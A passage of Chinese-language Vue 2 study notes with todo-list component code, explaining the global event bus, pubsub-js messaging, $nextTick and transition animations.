.todo-header input{
    width: 560px;
    height: 28px;
    font-size: 14px;
    border: 1px solid #ccc;
    border-radius: 4px;
    padding: 4px 7px;
}
.todo-header input:focus{
    outline: none;
    border-color: rgba(82,168,236,0.8);
    box-shadow: inset 0 1px 1px rgba(0, 0,0,0.075), 0 0 8px rgba(82, 168,2236, 0.6);
}
</style>

TestList.vue

<template>
    <ul class="todo-main">
        <!--  --> 
        <!-- <TestIteam :changeDataEvent="changeDataFun" :delItem="delFun" v-for="todoObj of todos" :key="todoObj.id" :todo="todoObj"/> -->
        <TestIteam @changeDataEvent="changeDataFun" @delItemEvent="delFun" v-for="todoObj of todos" :key="todoObj.id" :todo="todoObj"/>
        <!-- <div style="display:none">{{onEvent(todos)}}</div> -->
    </ul>
</template>
<script>
import { watch } from 'vue'
import TestIteam from './TestIteam.vue'
export default {
    name:"TestList",
    data() {
        return {
            /* todos:[
                {id:"001",title:"看喜羊羊",done:true},
                {id:"002",title:"看灰太狼",done:false},
                {id:"003",title:"看大大怪",done:true},
            ] */
            //使用localStorage读取本地缓存,赋值给todos数组
            todos:localStorage.getItem('todos')!="undefined"&&localStorage.getItem('todos')!=null ?JSON.parse(localStorage.getItem('todos')) : []
            //如果浏览器todos的value为null,或没有todos这个key,就用[]上面的写法的意思是,如果本地缓存有值就为真就直接用,如果本地缓存为空前面为假,就用||后面的值即空数组。
        }
    },
    components:{
        TestIteam
    },
    props:{
        /* onEvent:Function, */
        todoList:Array
    },
    watch:{
        todoList(value){this.todos=this.todoList},
        todos(value){
            this.$emit("todosEvent",value)
        }
    },
    mounted(){
        console.log("this.todos",this.todos)
        this.$emit("todosEvent",this.todos)
    },
    methods:{
        changeDataFun(data){//用于TestItem的props子传父的函数
            console.log("@@@##",data)
            //数据在哪,操作数据的方法就在哪
            this.todos.forEach((todo)=>{
                if(todo.id==data.id){
                    todo=data
                }
            })
         },
         //数据在哪,操作数据的方法就在哪
         delFun(id){
            this.todos = this.todos.filter((item)=>{
                return item.id!=id
            })
         }
    }
}
</script>

<style scoped>
.todo-main{
    margin-left: 0px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding: 0px;
}
.todo-empty{
    height: 40px;
    line-height: 40px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding-left: 5px;
    margin-top: 10px;

}
</style>

TestItem.vue

<template>
          <li>
            <label>
                <!-- 容易的做法,但稍微违反原则的做法为(props不允许修改),使用v-model="todo.down"替换下面代码:checked="todo.done" @click="handleCheck(todo.id,$event) -->
                <!-- 因为v-model很强大,能数据双向绑定,勾选和不勾选可影响v-moddel,v-model直接绑定的是TestList.vue中的todos,就直接修改了TestList的todos相应的元素的值 -->
                <input type="checkbox" :checked="todo.done" @click="handleCheck(todo.id,$event)"/>
                <!-- 选框可使用@click(todo.id,$event),或使用@change(todo.id,$event) -->
                <span>{{todo.title}}</span>
            </label>
            <button class="btn btn-danger" @click="del(todo.id)">删除</button>
        </li>
</template>

<script>
export default {
    name:"TestItem",
    props:{
        // changeDataEvent:Function,
        "todo":Object,
        // delItem:Function
    },
    methods:{
        handleCheck(id,e){
            console.log(id)
            //数据在哪,操作数据的方法就在哪
            this.todo.done = !this.todo.done
            // this.changeDataEvent(this.todo)
            this.$emit("changeDataEvent",this.todo)
        },
        del(id){
            /* confirm("确定删除吗?")根据用户的交互来判断真假 */
            if(confirm("确定删除吗?")){
                // this.delItem(this.todo.id)
                this.$emit("delItemEvent",id)
            }
        }
    }
}
</script>

<style scoped>
li{
    list-style: none;
    height: 36px;
    line-height: 36px;
    padding: 0 5px;
    border-bottom: 1px solid #ddd;
}
li label{
    float:left;
    cursor:pointer  /* 鼠标点过显示小手 */
}
li label li input{
    vertical-align: middle;
    margin-right: 6px;
    position: relative;/* 定位设置为相对定位 */
    top: -1px;
}
li button{
    float: right;
    display: none;
    margin-top: 3px;
}
li:before{
    content: initial;
}
li:last-child{
    border-bottom: none;
}
li:hover{
    background-color: #ddd;
}
li:hover button{
    display: block;
}
</style>

TestFooter.vue

<template>
    <div class="todo-footer" v-show="total">
        <label>
            <!--用v-model绑定计算属性替换:checked="isAll" @click="checkAll" -->
            <input type="checkbox" v-model="isAll" />
        </label>
        <span>
            <span>{{downTotal}}</span>/{{total}}
        </span>
        <button class="btn btn-danger" @click="clearAllDone">清除已完成的任务 </button>
    </div>
</template>

<script>
import { set } from 'vue';
export default {
    name:"TestFooter",
    props:{
        // onEvent:Function,
        "todoList":Array,
        // delDownEvent:Function
    },
    computed:{//计算属性可对data的改变监测然后在计算
        downTotal(){
            /* let i  =0;
            this.todoList.forEach((todo)=>{
                if(todo.done==true){
                    i++;
                }
            })
            return i */
            //还可使用reduce
            return this.todoList.reduce((pre,current)=>{
                //循环数组长度遍数
                //console.log("@@",pre) //0,1,2 
                //return pre+1; 
                return pre + (current.done ? 1:0)
            },0)//给个初始值为0,
        },
        total(){
            return this.todoList.length;
        },
        /* isAll(){
            return this.downTotal == this.total  && this.total>0
        }, */
        isAll:{
            get(){
                return this.downTotal == this.total  && this.total>0
            },
            set(value){
                // this.onEvent(value)
                this.$emit("isCheckedAllEvent",value)
            }
        }
    },
    /* methods:{
        checkAll(e){
            //console.log(e.target.checked)
            //传给父组件App.vue
            this.onEvent(e.target.checked)
        }
    } */
    methods:{
        clearAllDone(){
            //传给父组件App.vue
            // this.delDownEvent()
            this.$emit("delDownEvent")
        }
    }
}
</script>

<style scoped>
.todo-footer{
    height: 40px;
    line-height: 40px;
    padding-left: 6px;
    margin-top: 5px;
}
.todo-footer label{
    display: inline-block;/* inline-block可以说是结合了inline和block的部分属性,最大的特点便是可以使元素在一行上显示 ,又能够改变元素的height,width的值. 使用padding,margin的top,left,bottom,right都能够撑开元素。 */
    margin-right: 20px;
    cursor: pointer;
}
.todo-footer label input{
    position: relative;
    top: -1px;
    vertical-align: middle;
    margin-right: 5px;
}
.todo-footer button{
    float: right;
    margin-top: 5px;
}
</style>

f12的vue开发者工具中,有个event菜单,可看正在执行的事件

全局事件总线

组件间通信方式.可实现任意组件间通信。用这个X来做中间人。

首先保证所有组件都能看到x。然后保证x得能使用$on、$off、$emit。

 1.在main.js中window.x = {a:1,b:2},在组件中调window.x可以,但不太好,一般没有人向window上放东西

2.让所有的组件都能看得见,可以VueComponent原型对象上放x,而不是放到vc上

3.由于VueComponent.prototype._proto_ === Vue.prototype

 所以这下不用修改源码的VueComponent加上x了,直接在Vue的原型对象上 Vue.prototype添加即可。main.js中加上Vue.prototype.x = {a:1,b:2},

然后x还得能执行$on、$emit、$off等。

$on、$off、$emit都在vue的原型对象上。

1.main.js中Vue.prototype.x = {a:1,b:2}不要写成一个对象,要写成vm或vc实例对象const Demo = Vue.extend({});const d = new Demo() ;Vue.prototype.x = d,因为$on、$off、$emit都是给vue的原型对象用的

2.但上面的main.js使用vc的写法有些繁琐,main.js中有vm实例,我们借助beforeCreate()钩子,让x=该vm实例不就好了吗,如下:

new Vue({
  el:"#app",
  render:h=>h(App),
  beforeCreate() {
    //Vue.prototype.x = this//让x=vm  安装全局事件属性
    Vue.prototype.$bus = this //一般起名为$bus总线的意思
  },
})

对于事件名,肯定不能起一个已经存在的名字,一般在根路径创建config文件夹,然后创建一个contains.js专门记录这些常量

School父组件,获取Student组件传递的name,School组件中绑定一个hello事件并获取回调,Student组件中触发该事件并传参。最好在School组件销毁前beforeDestroy,将该hello事件解绑

main.js中定给vm安装全局事件属性作为事件总线

import Vue from 'vue'
import App from "./App.vue"
Vue.config.productionTip=false
// window.x = {a:1,b:2}
/* const Demo = Vue.extend({})
const d = new Demo()
Vue.prototype.x = d *///让x=vc
new Vue({
  el:"#app",
  render:h=>h(App),
  beforeCreate() {
    //Vue.prototype.x = this//让x=vm  安装全局事件属性
    Vue.prototype.$bus = this //一般起名为$bus总线的意思
  },
})

App.vue中仅渲染student和School

<template>
  <div class="app">
    <h1>{{msg}}</h1>
    <School/>
    <Student/>

  </div>
</template>
<script>
import School from './components/School.vue'
import Student from './components/Student.vue'
export default {
  name:"App",
  data() {
    return {
      msg:"你好啊"  
    }
  },
  components:{
    School,
    Student,
  },
}
</script>
<style scoped>
  .app{
    background-color: grey;
    padding: 5px;
  }
</style>

School作为数据接收组件,给事件总线属性$bus绑定hello事件,并回调接收传来的参数

<template>
  <div class="school">
    <h2>学校名称:{{name}}</h2>
    <h2>学校地址:{{address}}</h2>
  </div>
</template>

<script>
export default {
    name:"School",
    data(){
        return{
            name:"尚硅谷",
            address:'北京'
        }
    },
    mounted(){
      // console.log("School组件的",window.x)
      /* console.log("School组件的",this.x)
      console.log("School组件的",this.x.$on) */
      this.$bus.$on('hello',(data)=>{//父中,给x绑定一个事件,事件为hello,回调方法由于在js中不是在模板中就不起名了,直箭头函数写起方法.就是ref获取dom后$on绑定事件到函数的那种自定义事件写法
        console.log('我是School组件,收到了数据',data)
      })
    },
    beforeDestroy() {
      this.$bus.$off("hello")//销毁前解绑
    },
}
</script>

<style>
.school{
    background-color: skyblue;
    padding: 5px;
}

</style>

Student.vue中触发hello事件并传递参数

<template>
  <div class="student">
      <h2>学生姓名:{{name}}</h2>
      <h2>学生性别:{{sex}}</h2>
      <button @click="sendStudentNameToSchool">把学生名给School组件</button>
    </div>
</template>
<script>
export default {
    name:"Student",
    data(){
        return{
            name:"张三",
            sex:'男',
        }
    },
    methods:{
      sendStudentNameToSchool(){
        //this.x.$emit('hello',666)//子中,触发x的hello事件,并给该事件携带参数
        this.$bus.$emit('hello',this.name)//子中,触发x的hello事件,并给该事件携带参数
      }
    }
}    
</script>

<style scoped>
.student{
    background-color: pink;
    padding: 5px;
    margin-top: 30px;
}
</style>

全局事件总线(GlobalEventBus)

    1.一种组件间通信的方式,适用于任意组件间通信。

    2.安装全局事件总线:

    new Vue({

        beforeCreate() {

        Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm

        },

    })

    3.使用事件总线:

        1.接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身。

            methods(){

                demo(data){......}

            }

            mounted()

            this.$bus.$on( ' xxxx ' ,this.demo)

        2.提供数据:this.$bus.$emit( 'xxxx',数据)

        4.最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件。

todoList案例使用全局事件总线

父传子用props即可,子传父也可用props或自定义事件,如果爷爷传给孙子适合用全局事件总线

消息订阅与发布

可实现任意组件的通信。

消息订阅与发布
1.订阅消息︰消息名(手机号)
2.发布消息︰消息内容
报纸订阅与发布
1.订阅报纸∶住址
2.邮递员送报纸︰报纸

消息订阅与发布的库有很多,我们可使用pubsub-js库,可实现在任何框架中的消息订阅和发布项目根目录中cmd中 npm i pubsub-js

App.vue

<template>
  <div class="app">
    <h1>{{msg}}</h1>
    <School/>
    <Student/>
  </div>
</template>
<script>
import School from './components/School.vue'
import Student from './components/Student.vue'
export default {
  name:"App",
  data() {
    return {
      msg:"你好啊"  
    }
  },
  components:{
    School,
    Student,
  },
}
</script>
<style scoped>
  .app{
    background-color: grey;
    padding: 5px;
  }
</style>

main.js

import Vue from 'vue'
import App from "./App.vue"
Vue.config.productionTip=false
new Vue({
  el:"#app",
  render:h=>h(App),
})

School.vue作为消息的接收方

<template>
  <div class="school">
    <h2>学校名称:{{name}}</h2>
    <h2>学校地址:{{address}}</h2>
  </div>
</template>

<script>
// 1.接收方引入pubsub
import pubsub, { PubSub } from "pubsub-js"
export default {
    name:"School",
    data(){
        return{
            name:"尚硅谷",
            address:'北京'
        }
    },
    mounted(){
      /* pubsub.subscribe("hello",function(){// 2.接收方调用pubsub接收api接收消息
        console.log("有人发布了hello消息,hello消息的回调执行了")
      }) */
      pubsub.subscribe("hello",(msg,data)=>{// 2.接收方调用pubsub接收api接收消息
        console.log("有人发布了hello消息,hello消息的回调执行了",msg,data)//参数1为消息名,参数2为消息内容数据
      })
    },
    beforeDestroy(){
      // 3.接收方,销毁前取消订阅
      PubSub.unsubscribe(this.pubId)
    }
}
</script>

<style>
.school{
    background-color: skyblue;
    padding: 5px;
}

</style>

Student.vue作为消息的发送方

<template>
  <div class="student">
      <h2>学生姓名:{{name}}</h2>
      <h2>学生性别:{{sex}}</h2>
      <button @click="sendStudentNameToSchool">把学生名给School组件</button>
    </div>
</template>
<script>
// 1.发送方引入pubsub
import pubsub from "pubsub-js"
export default {
    name:"Student",
    data(){
        return{
            name:"张三",
            sex:'男',
        }
    },
    methods:{
      sendStudentNameToSchool(){ // 2.发送方调用pubsub的api发送消息
        pubsub.publish("hello",666)
      }
    }
}    
</script>

<style scoped>
.student{
    background-color: pink;
    padding: 5px;
    margin-top: 30px;
}
</style>

消息订阅与发布(pubsub)

    1.—种组件间通信的方式,适用于任意组件间通信。

    2.使用步骤:

        1.安装pubsub: npm i pubsub-js

        2.引入: import pubsub from 'pubsub-js '

        3.接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。

            methods(){

            demo(data){......}

            .... ..

            mounted(){

            this.pid = pubsub.subscribe( 'xxx ' ,this.demo)//订阅消息}

    4.提供数据:pubsub.publish( 'xxx',数据)

    5.最好在beforeDestroy钩子中,用PubSub.unsubscribe(pid)去<span style="color : red">取消订阅。</span>

todoList案例用PubSub

爷爷传孙子的时候可使用

$nextTick下一轮

nextTick
1.语法:this.$nextTick(回调函数)
2.作用:在下一次DOM更新结束后执行其指定的回调。
3.什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行。

参考案例:
模板:
<input ref="inputTitle" v-show="todo.isEdit" type="text" :value="todo.title" @blur="handleBlur(todo,$event)">
<button class="btn btn-edit" @click="handelEdit(todo)" v-show="!todo.isEdit">编辑</button>

methods中的方法:
handelEdit(todo){
            if(todo.hasOwnProperty("isEdit")){
                todo.isEdit = true;
            }else{
                this.$set(todo,"isEdit",true)
            }
            console.log(this.$refs.inputTitle)
            /* setTimeout(() => {
                this.$refs.inputTitle.focus() // vue默认方法中的代码全执行完,再解析模板 ,或者我们可以包一个定时器200毫秒,这样就执行完上一行代码,解析模板后再执行这一行了
            }, 200); */
            //或者使用下面这种方式
            this.$nextTick(function(){
                this.$refs.inputTitle.focus() // //所指定的函数会在dom更新完毕之后再执行 ,解析模板后再这指定的代码
            })
        },

 todoList案例编辑

 todoList案例完整如下

main.js        

import Vue from 'vue'
import App from "./App.vue"
Vue.config.productionTip=false
new Vue({
  el:"#app",
  render:h=>h(App),
  beforeCreate(){
    Vue.prototype.$bus = this
  }

App.vue

<template>
  <div class="todo-container">
    <div class="todo-wrap">
      <!-- <TestHeader :onEvent='receive'/> -->
      <TestHeader @receiveEvent='receive'/>
      <!-- <TestList :onEvent="dataFun" :todoList="todos"/> -->
      <TestList @todosEvent="getTodos" :todoList="todos"/>
      <!-- <TestFooter :todoList="todos" :onEvent="isCheckedAll" :delDownEvent="delDownFun"/> -->
      <TestFooter :todoList="todos" @isCheckedAllEvent="isCheckedAll" @delDownEvent="delDownFun"/>
    </div>
  </div>
</template>
<script>
import TestHeader from './components/TestHeader.vue'
import TestFooter from './components/TestFooter.vue'
import TestList from './components/TestList.vue'
export default {
  name:"App",
  data() {
    return {
      todos:[]
    }
  },
  components:{
    TestHeader,
    TestFooter,
    TestList,
  },
  methods:{
    /* dataFun(data){//用于TestList的props子传父的函数
            this.todos=data
            console.log("@@@@@",this.todos)
    }, */
    getTodos(data){
       this.todos=data
       console.log("@@666",this.todos)
    },
    receive(data){//用于TestHeader的props子传父的函数
      console.log("#####",data)
      this.todos.unshift(data)
    },
    isCheckedAll(data){
      console.log("@@@checkedAll",data)
      if(data==true){
        this.todos.forEach((item)=>{
          item.done=true
        })
      }else{
        this.todos.forEach((item)=>{
          item.done=false
        })
      }
    },
    delDownFun(){
      this.todos  =this.todos.filter((todo)=>{
        return !todo.done
      })
    }
  },
    watch:{//使用watch,监视todos,当todos一发生变化,将todos数组存放到本地存储loalStorage。
      //而且要深度监测,包括数组中的对象的属性变化也要检测到
        todos:{
          deep:true,
          handler(value){
            console.log(value)
            localStorage.setItem("todos",JSON.stringify(value))
          }
        }
    }
}
</script>
<style>
  /* base */
  body{
    background: #fff;
  }
  .btn{
    display: inline-block;
    padding:  4px 12px;
    margin-bottom: 0;
    font-size: 14px;
    line-height: 20px;
    text-align: center;
    vertical-align: middle;/* 剧中垂直对齐 */
    cursor: pointer; /* 鼠标点过显示小手 */
    box-shadow: inset 0 1px 0  rgba(255,255,255,0.2), 0 1px 2px rgba(0,0,0,0.05);/* 盒阴影 */
    border-radius: 4px;
  }
  .btn-danger{
    color: #fff;
    background-color: #da4f49;
    border: 1px solid #bd362f;
  }
  .btn-edit{
    color: #fff;
    background-color: skyblue;
    border: 1px solid rgb(24, 95, 123);
  }
  .btn-danger:hover{
    color: #fff;
    background-color: #bd362f;
  }
  .btn:focus{
    outline: none;
  }
  .todo-container{
    width: 600px;
    margin: 0 auto;
  }
  .todo-container .todo-wrap{
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 5px;
  }
</style>

TestHeader.vue    

<template>
  <div class="todo-header">
    <input type="text" placeholder="请输入你的任务名称,按回车确认" @keyup.enter="add"/>
  </div>
</template>
<script>
import {nanoid} from 'nanoid'
export default {
    name:"TestHeader",
    methods:{
        add(e){
            if(!e.target.value.trim()==""){
                console.log(e.target.value)//由于表单只有一个input,就不麻烦使用v-molde,直接事件获取dom的target的value
                //包装成todoObj对象
                const todoObj = {
                    id:nanoid(),//对于id,我们可使用uuid,但uuid太大了,使用nanoid,体积小一些。终端输入npm i nanoid下载安装nanoid
                    title:e.target.value,
                    done:false 
                }
                console.log(todoObj)
                // this.onEvent(todoObj)//这里通过props函数参数传给父
                this.$emit("receiveEvent",todoObj)//通过自定义事件,传参数给父组件
                e.target.value=""
            }else{
                e.target.value=""
                return alert("输入不能为空")
            }
        }
    },
     props:{
        // onEvent:Function
    }
}
</script>

<style scoped>
.todo-header input{
    width: 560px;
    height: 28px;
    font-size: 14px;
    border: 1px solid #ccc;
    border-radius: 4px;
    padding: 4px 7px;
}
.todo-header input:focus{
    outline: none;
    border-color: rgba(82,168,236,0.8);
    box-shadow: inset 0 1px 1px rgba(0, 0,0,0.075), 0 0 8px rgba(82, 168,2236, 0.6);
}
</style>

TestList.vue

<template>
    <ul class="todo-main">
        <!--  --> 
        <!-- <TestIteam :changeDataEvent="changeDataFun" :delItem="delFun" v-for="todoObj of todos" :key="todoObj.id" :todo="todoObj"/> -->
        <TestIteam @changeDataEvent="changeDataFun" @delItemEvent="delFun" v-for="todoObj of todos" :key="todoObj.id" :todo="todoObj"/>
        <!-- <div style="display:none">{{onEvent(todos)}}</div> -->
    </ul>
</template>
<script>
import { watch } from 'vue'
import TestIteam from './TestIteam.vue'
export default {
    name:"TestList",
    data() {
        return {
            /* todos:[
                {id:"001",title:"看喜羊羊",done:true},
                {id:"002",title:"看灰太狼",done:false},
                {id:"003",title:"看大大怪",done:true},
            ] */
            //使用localStorage读取本地缓存,赋值给todos数组
            //todos:localStorage.getItem('todos') || []
            todos:localStorage.getItem('todos')!="undefined"&&localStorage.getItem('todos')!=null ?JSON.parse(localStorage.getItem('todos')) : []
            //如果浏览器todos的value为null,或没有todos这个key,就用[]上面的写法的意思是,如果本地缓存有值就为真就直接用,如果本地缓存为空前面为假,就用||后面的值即空数组。
        }
    },
    components:{
        TestIteam
    },
    props:{
        /* onEvent:Function, */
        todoList:Array
    },
    watch:{
        todoList(value){this.todos=this.todoList},
        todos(value){
            this.$emit("todosEvent",value)
        }
    },
    mounted(){
        console.log("this.todos",this.todos)
        this.$emit("todosEvent",this.todos)
        this.$bus.$on("updateTodo",this.updateTodo)
    },
    methods:{
        updateTodo(id,title){
             this.todos.forEach((todo)=>{
                if(todo.id==id){
                    todo.title = title
                }
            })
        },
        changeDataFun(data){//用于TestItem的props子传父的函数
            console.log("@@@##",data)
            //数据在哪,操作数据的方法就在哪
            this.todos.forEach((todo)=>{
                if(todo.id==data.id){
                    todo=data
                }
            })
         },
         //数据在哪,操作数据的方法就在哪
         delFun(id){
            this.todos = this.todos.filter((item)=>{
                return item.id!=id
            })
         }
    }
}
</script>

<style scoped>
.todo-main{
    margin-left: 0px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding: 0px;
}
.todo-empty{
    height: 40px;
    line-height: 40px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding-left: 5px;
    margin-top: 10px;

}
</style>

TestItem.vue

<template>
          <li>
            <label>
                <!-- 容易的做法,但稍微违反原则的做法为(props不允许修改),使用v-model="todo.down"替换下面代码:checked="todo.done" @click="handleCheck(todo.id,$event) -->
                <!-- 因为v-model很强大,能数据双向绑定,勾选和不勾选可影响v-moddel,v-model直接绑定的是TestList.vue中的todos,就直接修改了TestList的todos相应的元素的值 -->
                <input type="checkbox" :checked="todo.done" @click="handleCheck(todo.id,$event)"/>
                <!-- 选框可使用@click(todo.id,$event),或使用@change(todo.id,$event) -->
                <span v-show="!todo.isEdit">{{todo.title}}</span>
                <input ref="inputTitle" v-show="todo.isEdit" type="text" :value="todo.title" @blur="handleBlur(todo,$event)">
            </label>
            <button class="btn btn-danger" @click="del(todo.id)">删除</button>
            <button class="btn btn-edit" @click="handelEdit(todo)" v-show="!todo.isEdit">编辑</button>
        </li>
</template>

<script>
export default {
    name:"TestItem",
    props:{
        // changeDataEvent:Function,
        "todo":Object,
        // delItem:Function
    },
    methods:{
        handleBlur(todo,e){
            console.log("失去焦点了")
            if(!e.target.value.trim()) return alert("输入不能为空")
            todo.isEdit = false;
            this.$bus.$emit("updateTodo",todo.id,e.target.value)
        },
        handelEdit(todo){
            if(todo.hasOwnProperty("isEdit")){
                todo.isEdit = true;
            }else{
                this.$set(todo,"isEdit",true)
            }
            console.log(this.$refs.inputTitle)
            /* setTimeout(() => {
                this.$refs.inputTitle.focus() // vue默认方法中的代码全执行完,再解析模板 ,或者我们可以包一个定时器200毫秒,这样就执行完上一行代码,解析模板后再执行这一行了
            }, 200); */
            //或者使用下面这种方式
            this.$nextTick(function(){
                this.$refs.inputTitle.focus() // //所指定的函数会在dom更新完毕之后再执行 ,解析模板后再这指定的代码
            })
        },
        handleCheck(id,e){
            console.log(id)
            //数据在哪,操作数据的方法就在哪
            this.todo.done = !this.todo.done
            // this.changeDataEvent(this.todo)
            this.$emit("changeDataEvent",this.todo)
        },
        del(id){
            /* confirm("确定删除吗?")根据用户的交互来判断真假 */
            if(confirm("确定删除吗?")){
                // this.delItem(this.todo.id)
                this.$emit("delItemEvent",id)
            }
        }
    }
}
</script>

<style scoped>
li{
    list-style: none;
    height: 36px;
    line-height: 36px;
    padding: 0 5px;
    border-bottom: 1px solid #ddd;
}
li label{
    float:left;
    cursor:pointer  /* 鼠标点过显示小手 */
}
li label li input{
    vertical-align: middle;
    margin-right: 6px;
    position: relative;/* 定位设置为相对定位 */
    top: -1px;
}
li button{
    float: right;
    display: none;
    margin-top: 3px;
}
li:before{
    content: initial;
}
li:last-child{
    border-bottom: none;
}
li:hover{
    background-color: #ddd;
}
li:hover button{
    display: block;
}
</style>

TestFooter.vue

<template>
    <div class="todo-footer" v-show="total">
        <label>
            <!--用v-model绑定计算属性替换:checked="isAll" @click="checkAll" -->
            <input type="checkbox" v-model="isAll" />
        </label>
        <span>
            <span>{{downTotal}}</span>/{{total}}
        </span>
        <button class="btn btn-danger" @click="clearAllDone">清除已完成的任务 </button>
    </div>
</template>

<script>
import { set } from 'vue';
export default {
    name:"TestFooter",
    props:{
        // onEvent:Function,
        "todoList":Array,
        // delDownEvent:Function
    },
    computed:{//计算属性可对data的改变监测然后在计算
        downTotal(){
            /* let i  =0;
            this.todoList.forEach((todo)=>{
                if(todo.done==true){
                    i++;
                }
            })
            return i */
            //还可使用reduce
            return this.todoList.reduce((pre,current)=>{
                //循环数组长度遍数
                //console.log("@@",pre) //0,1,2 
                //return pre+1; 
                return pre + (current.done ? 1:0)
            },0)//给个初始值为0,
        },
        total(){
            return this.todoList.length;
        },
        /* isAll(){
            return this.downTotal == this.total  && this.total>0
        }, */
        isAll:{
            get(){
                return this.downTotal == this.total  && this.total>0
            },
            set(value){
                // this.onEvent(value)
                this.$emit("isCheckedAllEvent",value)
            }
        }
    },
    /* methods:{
        checkAll(e){
            //console.log(e.target.checked)
            //传给父组件App.vue
            this.onEvent(e.target.checked)
        }
    } */
    methods:{
        clearAllDone(){
            //传给父组件App.vue
            // this.delDownEvent()
            this.$emit("delDownEvent")
        }
    }
}
</script>

<style scoped>
.todo-footer{
    height: 40px;
    line-height: 40px;
    padding-left: 6px;
    margin-top: 5px;
}
.todo-footer label{
    display: inline-block;/* inline-block可以说是结合了inline和block的部分属性,最大的特点便是可以使元素在一行上显示 ,又能够改变元素的height,width的值. 使用padding,margin的top,left,bottom,right都能够撑开元素。 */
    margin-right: 20px;
    cursor: pointer;
}
.todo-footer label input{
    position: relative;
    top: -1px;
    vertical-align: middle;
    margin-right: 5px;
}
.todo-footer button{
    float: right;
    margin-top: 5px;
}
</style>

过度与动画

Test.vue

/* 
使用vue的动画效果去写
 */
<template>
<div>
    <button @click="isShow = !isShow">显示/隐藏</button>
    <!-- <h1 v-show="isShow" class="com">你好啊</h1> -->
    <!-- vue会根据元素发生变化的时候展示动画的效果:将需要动画效果的标签用<transtion></transtion>括起来。 -->
    <!-- <transition>
        <h1 v-show="isShow" class="com">你好啊</h1>
    </transition> -->
    <transition name="hello" :appear="true">
        <h1 v-show="isShow">你好啊</h1>
    </transition>
  </div>
</template>

<script>
export default {
    name:'Test',
    data() {
        return {
            isShow:true
        }
    },
}
</script>

<style scoped>
    h1{
        background-color: orange;
    }
    /* vue的动画 进入时需要执行的动画*/
    .v-enter-active{
        animation: atguigu 0.5s linear;
    }
    /* 上面给<transition>起了个hello的name,这里前面就要写hello */
    .hello-enter-active{
        animation: atguigu 0.5s linear;
        /* 持续0.5秒,并匀速linear */
    }
    /* vue的动画 离开时需要执行的动画*/
    .v-leave-active{
        animation: atguigu 0.5s reverse  linear;
    }
    .hello-leave-active{
        animation: atguigu 0.5s reverse  linear;

    }
    /* 一下为css3的动画内容 */
    /* 定义一个class样式,内容为1秒中内执行atguigu动画 */
    {
        animation: atguigu 1s;
    }
    /* 定义一个class样式,内容为1秒中内执行atguigu动画的反转动画 */
    .go{
        animation: atguigu 1s reverse;
    }
    /* 定义一个动画的样式 */
    @keyframes atguigu{
        /* 从那个位置开始 */
        from{
            transform: translateX(-100%);
        }
        /* 到哪个位置结束 */
        to{
            transform: translateX(0px);
        }
    }
</style>

Test2.vue

/* 
使用vue的过度效果去写
 */
<template>
<div>
    <button @click="isShow = !isShow">显示/隐藏</button>
    <!-- <h1 v-show="isShow" class="com">你好啊</h1> -->
    <!-- vue会根据元素发生变化的时候展示动画的效果:将需要动画效果的标签用<transtion></transtion>括起来。 -->
    <!-- <transition>
        <h1 v-show="isShow" class="com">你好啊</h1>
    </transition> -->
    <!-- <transition name="hello" :appear="true">
        <h1 v-show="isShow">你好啊</h1>
    </transition> -->
    <!-- 如果动画效果多个元素,需使用group,而且里面每个标签都要加上key -->
    <transition-group name="hello" :appear="true">
        <!-- 第一个元素取个反  -->
        <h1 v-show="!isShow" key="1">你好啊</h1>
        <h1 v-show="isShow" key="2">尚硅谷</h1>
    </transition-group>
  </div>
</template>

<script>
export default {
    name:'Test',
    data() {
        return {
            isShow:true
        }
    },
}
</script>

<style scoped>
    h1{
        background-color: orange;
        /* transition: 0.5s linear;0 */
        /* 不使用上行代码,不破坏原来样式的写法如下: */
    }
    .hello-enter-active,.hello-leave-active{
        transition: 0.5s linear;
    }
    /* 进入的起点 */
    /* .hello-enter{
        transform:translateX(-100%);
    } */
    /* 进入的终点 */
    /* .hello-enter-to{
        transform: translateX(0);
    } */
    /* 离开的起点 */
    /* .hello-leave{
        transform:translateX(0);
    } */
    /* 离开的终点 */
    /* .hello-leave-to{
        transform: translateX(-100%);
    } */
    /* 进入的起点 离开的终点 */
    .hello-enter,.hello-leave-to{
        transform:translateX(-100%);
    }
    /* 进入的终点 离开的起点 */
    .hello-leave,.hello-leave{
        transform:translateX(0);
    }
</style>

App.vue中挂这两个.

集成第三方动画

npm网址搜索这个animate:
https://www.npmjs/package/animate.css
animate的homPage:https://animate.style/
项目根目录安装这个库
npm install animate.css --save
然后引入然后使用,如下:

Test3.vue 

/* 
集成第三方动画
 */
<template>
<div>
    <button @click="isShow = !isShow">显示/隐藏</button>
    <transition-group
    appear
    name="animate__animated animate__bounce"
    enter-active-class="animate__swing"
    leave-active-class="animate__backOutUp"
    >
    <!-- 2.从animate主页找到样式复制过来即可:name为animate的,enter-active-class引用animate中你觉得好的样式即可。
    name="animate__animated animate__bounce"
    enter-active-class="animate__swing"
    leave-active-class="animate__backOutUp"
     -->
        <!-- 第一个元素取个反  -->
        <h1 v-show="isShow" key="1">你好啊</h1>
        <h1 v-show="isShow" key="2">尚硅谷</h1>
    </transition-group>
  </div>
</template>

<script>
/* 1.下载并引入第三方库 */
import 'animate.css';
export default {
    name:'Test',
    data() {
        return {
            isShow:true
        }
    },
}
</script>

<style scoped>
    h1{
        background-color: orange;
        /* transition: 0.5s linear;0 */
        /* 不使用上行代码,不破坏原来样式的写法如下: */
    }
    .hello-enter-active,.hello-leave-active{
        transition: 0.5s linear;
    }
    /* 进入的起点 */
    /* .hello-enter{
        transform:translateX(-100%);
    } */
    /* 进入的终点 */
    /* .hello-enter-to{
        transform: translateX(0);
    } */
    /* 离开的起点 */
    /* .hello-leave{
        transform:translateX(0);
    } */
    /* 离开的终点 */
    /* .hello-leave-to{
        transform: translateX(-100%);
    } */
    /* 进入的起点 离开的终点 */
    .hello-enter,.hello-leave-to{
        transform:translateX(-100%);
    }
    /* 进入的终点 离开的起点 */
    .hello-leave,.hello-leave{
